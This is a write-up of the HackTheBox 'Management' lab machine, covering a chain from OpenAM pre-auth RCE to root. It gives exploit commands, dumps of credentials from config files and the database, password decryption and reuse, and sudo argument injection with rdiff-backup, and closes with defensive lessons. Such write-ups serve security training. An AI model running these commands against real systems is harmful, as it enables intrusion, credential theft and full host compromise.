

## Table of Contents

### HackTheBox: Management — Writeup

**OS:** Linux (Ubuntu) | **Difficulty:** Easy (3.5) | **IP:** 10.129.155.250 **Hostnames:** management.htb, sso.management.htb

---

#### 1. Reconnaissance

##### Nmap Scan

```
nmap -A 10.129.155.250
```

##### Open ports:

- 22/tcp — SSH (OpenSSH 9.6p1)
- 80/tcp — HTTP (nginx 1.24.0) → redirects to HTTPS
- 443/tcp — HTTPS (nginx) with certificate for management.htb and \*.management.htb
- 4444/tcp — LDAP over TLS (OpenDJ)
- 50389/tcp — LDAP (anonymous bind OK)

##### Key findings:

- SSL certificate reveals hostnames management.htb and sso.management.htb.
- Ports 4444 and 50389 fingerprint as OpenDJ / ForgeRock Directory Services (ds-root-dse).
- Port 443 redirects to https://management.htb/.

##### Hostname Configuration

```
sudo sh -c 'echo "10.129.155.250 management.htb sso.management.htb" >> /etc/hosts'
```

---

#### 2. Web Enumeration

```
curl -k -I http://10.129.155.250/  
curl -k -I https://management.htb/  
curl -k -I https://sso.management.htb/
```

- http://10.129.155.250/ → 301 redirect to HTTPS
- https://management.htb/ → 200 OK, static page
- https://sso.management.htb/ → 302 redirect to /openam/

**Conclusion:** sso.management.htb runs **ForgeRock OpenAM**.

### OpenAM Version Fingerprinting

```
curl -k -s https://sso.management.htb/openam/json/serverinfo/* | jq .
```

No explicit version shown, but the JATO framework and ccversion endpoint confirmed exposure to **CVE-2021-35464**, later bypassed by **CVE-2026-33439**.

---

## 3. Exploitation — OpenAM Pre-Auth RCE

### 3.1 Failed Attempts

#### Metasploit module

```
msfconsole -q
use exploit/multi/http/cve_2021_35464_forgerock_openam
set RHOSTS sso.management.htb
set RPORT 443
set SSL true
set VHOST sso.management.htb
set TARGETURI /openam
set LHOST 10.10.16.234
set LPORT 9001
run
```

- Exploit aborted due to failure: not-vulnerable — auto-check failed.
- ForceExploit true → unexpected-reply (output not in expected format).
- Port 9001 already in use (Handler failed to bind).

#### Original Python PoC (CVE-2021-35464)

```
python3 CVE-2021-35464.py
```

- HTTP Error 405 — script sends POST; endpoint only accepts GET.
- Manual GET via curl → 414 Request-URI Too Large (serialized payload too long for nginx).
- POST to ccversion/Version → 405 Method Not Allowed.
- Tried jato.clientSession on /UI/Login, /UI/Register, /UI/ForgotPassword → 404 (no JATO form rendered there).

#### ysoserial payload generation

- JitPack JAR: corrupted (3-byte output).
- Official ysoserial-all.jar on Java 17+: InaccessibleObjectException, IllegalAccessException.
- Docker amazoncorretto:8: too old for --add-opens.
- Docker eclipse-temurin:11-jdk: compiled fine, but payload still didn't trigger a shell.

### 3.2 Successful Exploitation — jato.clientSession Bypass

The CVE-2021-35464 patch only covered jato.pageSession. **CVE-2026-33439** bypasses it via jato.clientSession on JATO ViewBean endpoints.

**Tool:** CVE-2026-33439-Python-PoC (Echo PoC)

**Vulnerable endpoint:**

https://sso.management.htb/openam/ui/PWResetUserValidation

**Command execution test:**

```
python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation 'id'
uid=996(openam) gid=987(openam) groups=987(openam)
```

**RCE confirmed as openam.**

---

## 4. Post-Exploitation

### System Enumeration

```
python3 exploit.py --url ... 'id; hostname; uname -a; cat /etc/passwd'
```

- Hostname: management
- Users: owen (UID 1000), openam (UID 996), mysql, \_galera
- Interesting dirs: /opt/glpi, /opt/openam, /opt/openam-tomcat, /opt/backup

### GLPI Configuration

```
python3 exploit.py --url ... 'cat /opt/glpi/config/config_db.php'
```

```
$dbuser = 'glpi';
$dbpassword = '8rhu0L6Pw4Y7';
$dbdefault = 'glpidb';
```

### Dumping LDAP Credentials from GLPI DB

```
python3 exploit.py --url ... 'php -r \''$m=new
mysqli("127.0.0.1","glpi","8rhu0L6Pw4Y7","glpidb"); $r=$m-
>query("SELECT rootdn, rootdn_passwd FROM glpi_authldaps");
while($row=$r->fetch_assoc()){echo $row["rootdn"].":".
$row["rootdn_passwd"]."\n";}'\''
```

```
cn=svc-
glpi,ou=services,dc=management,dc=htb:avrqW65aZWKzLAKWhPxZGn1eLj3yYAnw
Up08mEazsJUWfI5cqbaP6vM12w0p/ykpmY03Pw==
```

## Decrypting the LDAP Password

glpicrypt.key (32 bytes) found in /opt/glpi/config/. Reading it as raw binary or via base64/xxd over the RCE channel repeatedly timed out.

GLPI source (src/GLPIKey.php) showed the cipher: **XChaCha20-Poly1305**, 24-byte nonce, stored as base64(nonce + ciphertext).

A short PHP decryption script was base64-encoded and run via eval on target (to dodge CR/LF issues) to decrypt directly on the box rather than exfiltrate the key.

**Decrypted password:** WpczC40GhTbk

---

## 5. Lateral Movement — SSH as owen

The LDAP service-account password was reused for the local user owen.

```
ssh owen@10.129.155.250
# Password: WpczC40GhTbk
```

```
owen@management:~$
```

**User flag:**

```
cat /home/owen/user.txt
```

---

## 6. Privilege Escalation

### Sudo Permissions

```
sudo -l
```

User owen may run the following commands on management:

```
(root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path
/opt/backup --restrict-mode read-only *
```

The trailing \* allows extra arguments — argument injection.

### Abusing rdiff-backup

```
rdiff-backup --remote-schema "sudo /usr/bin/rdiff-backup --server --
restrict-path /opt/backup --restrict-mode read-only --restrict-path
%s" backup /::/root /tmp/root_backup
```

NOTE: Starting mirror from source path /root to destination path /tmp/root\_backup

### Recovering Root's SSH Key

```
ls -la /tmp/root_backup
```

Found root.txt and .ssh/id\_ed25519 (root's private key).

## Root Shell

```
chmod 600 /tmp/root_backup/.ssh/id_ed25519  
ssh -i /tmp/root_backup/.ssh/id_ed25519 root@10.129.155.250
```

## Root flag:

```
cat /root/root.txt
```

---

## 7. Methodology Summary

| Phase                | Technique                                    | Tools                |
|----------------------|----------------------------------------------|----------------------|
| Recon                | Port scanning, service fingerprinting        | Nmap, curl           |
| Enumeration          | Vhost discovery, OpenAM fingerprinting       | curl, jq             |
| Exploitation         | CVE-2021-35464 / CVE-2026-33439 pre-auth RCE | Python PoC, Echo PoC |
| Post-Exploitation    | GLPI config extraction, DB query             | PHP one-liner        |
| Credential Access    | Decrypt LDAP password via GLPI key + source  | PHP, GLPI source     |
| Lateral Movement     | SSH password reuse                           | ssh                  |
| Privilege Escalation | rdiff-backup sudo abuse (arg injection)      | rdiff-backup, ssh    |

## Failed Attempts and Pivots

- Metasploit module failed auto-check and payload delivery.
  - Original PoC used POST instead of required GET.
  - GET hit nginx's 414 URL-length limit; POST to ccversion hit 405.
  - `jato.pageSession` was patched — pivoted to `jato.clientSession`.
  - `ysoserial` generation broke on modern Java — solved via Docker + Java 11.
  - Reading `glpicrypt.key` directly timed out — solved by decrypting in-place with PHP.
  - Long PHP scripts timed out — solved with short one-liners / `base64+eval`.
- 

## 8. Flags

- **User Flag:** [32 hex chars from `/home/owen/user.txt`]
  - **Root Flag:** [32 hex chars from `/root/root.txt`]
-

## 9. Conclusion

Management chains a vulnerable SSO service (OpenAM) into RCE, which exposes application credentials (GLPI) reused for lateral movement, finishing with a misconfigured privileged backup utility (`rdiff-backup`) for full root compromise.

### Lessons:

- Patch and monitor SSO/identity providers.
- Never reuse service-account passwords for local users.
- Audit sudo rules for argument-injection flaws (trailing wildcards).
- Encrypt secrets, but keep encryption keys out of reach of whoever can read the ciphertext.